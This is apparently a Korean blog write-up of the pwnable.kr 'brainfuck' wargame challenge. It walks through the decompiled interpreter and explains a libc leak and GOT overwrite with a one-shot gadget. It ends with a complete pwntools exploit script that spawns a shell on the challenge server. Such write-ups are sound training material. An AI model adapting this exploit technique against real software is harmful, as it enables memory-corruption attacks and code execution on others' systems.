블로그 이전했습니다. https://jeongzero.oopy.io/
[pwnable.kr] brainfuck
본문 바로가기
워게임/pwnable.kr

[pwnable.kr] brainfuck

728x90

1. 문제


1) mitigation 확인

PIE가 안걸려있다.

2) 문제 확인

먼지 모르겠다. 코드를 한번 봐보자.

3) 코드흐름 파악

int __cdecl do_brainfuck(char a1)
{
  int result; // eax
  _BYTE *v2; // ebx

  result = a1;
  switch ( a1 )
  {
    case '+':                                   // tape에 하위 한바이트 ++
      result = p;
      ++*(_BYTE *)p;
      break;
    case ',':
      v2 = (_BYTE *)p;                          // tape 하위 한바이트에 입력한 바이트 저장
      result = getchar();
      *v2 = result;
      break;
    case '-':
      result = p;                               // tape에 하위 한바이트 --
      --*(_BYTE *)p;
      break;
    case '.':
      result = putchar(*(char *)p);             // tape 하위 한바이트 출력
      break;
    case '<':
      result = p-- - 1; // p값 --
      break;
    case '>':
      result = p++ + 1; // p값 ++
      break;
    case '[':
      result = puts("[ and ] not supported.");
      break;
    default:
      return result;
  }
  return result;
}

메인에서 fget로 0x400만큼 입력을 받는다. 그다음 do_brainfuck 함수가 호출되고, 한바이트씩 각자의 로직이 수행된다.

p에는 tape 주소가 들어있고, tape에 하위 한바이트 증가 혹은 감소를 시키거나, getchar()로 한바이트를 입력할수 있다. 또한 putchar()로 하위 한바이트를 출력시킬수 있다.

또한 >와 < 를 이용하여 *p가 아닌 p 자체의 하위 한바이트를 증가 혹은 감소시킬수 있다.

2. 접근방법


PIE가 안걸려 있기 떄문에, p에 들어있는 값을 증가 혹은 감소시켜 putchar_got 주소로 맞춘다음에, 한바이트씩 출력시켜 libc를 릭한다. 그다음 더이상 putchar는 사용안해도 되기때문에 putchar_got를 main으로 덮는다.

main으로 다시 돌아온다음, p를 setvbuf_got로 변경시킨다. 그다음 getchar를 이용해서 setvbuf_got에 원샷 가젯을 넣고, 다시 putchar를 호출해서 main으로 돌아간다.

메인에서 setvbuf가 호출되면, 원샥 가젯이 호출될것이다.

3. 풀이


from pwn import *
context(log_level="DEBUG")

#p=process('./bf')
p=remote('pwnable.kr',9001)
elf=ELF('./bf')
libc=ELF('./libc.so')

pause()

p.recvuntil('except [ ]\n')

p_addr=0x804a0a0
memset_got=0x0804a02c
setvbuf_got=0x0804a028
putchar_got=0x0804a030

off=libc.symbols['setvbuf']


leak_off=0x74
main_=0x08048671


payload='<'*(p_addr-setvbuf_got)
payload+='.>.>.>.>>>>'
payload+='>'
payload+=',>,>,>,.'

sleep(2)
p.sendline(payload)
setbuf_addr =0

for i in range(4):
	setbuf_addr += (u8(p.recv(1))<<(8*i))

log.info(hex(setbuf_addr))
libc_base=setbuf_addr-off
log.info(hex(libc_base))
one=[0x3ac5c,0x3ac5e,0x3ac62,0x3ac69,0x5fbc5,0x5fbc6]

tt=libc_base+one[1]
pause()
p.send(p8(0x71))
p.send(p8(0x86))
pause()
p.send(p8(0x04))
p.send(p8(0x08))

p.recvuntil('except [ ]\n')
pause()
payload='<'*(p_addr-setvbuf_got)
payload+=',>,>,>,.'
p.sendline(payload)

log.info(hex(tt))
log.info(hex(tt&0xff))
log.info(hex((tt>>8)&0xff))
log.info(hex((tt>>16)&0xff)) 
log.info(hex((tt>>24)&0xff)) 

p.send(p8(tt&0xff))
p.send(p8((tt>>8)&0xff))
p.send(p8((tt>>16)&0xff))
p.send(p8((tt>>24)&0xff))



p.interactive()

4. 몰랐던 개념


728x90

'워게임 > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] dragon  (0) 2020.10.04
[pwnable.kr] md5 calculator  (0) 2020.09.23
[pwnble.kr] leg  (0) 2020.09.06
[pwnable.kr] shellshock  (0) 2020.09.06
[pwnable.kr] mistake  (0) 2020.09.06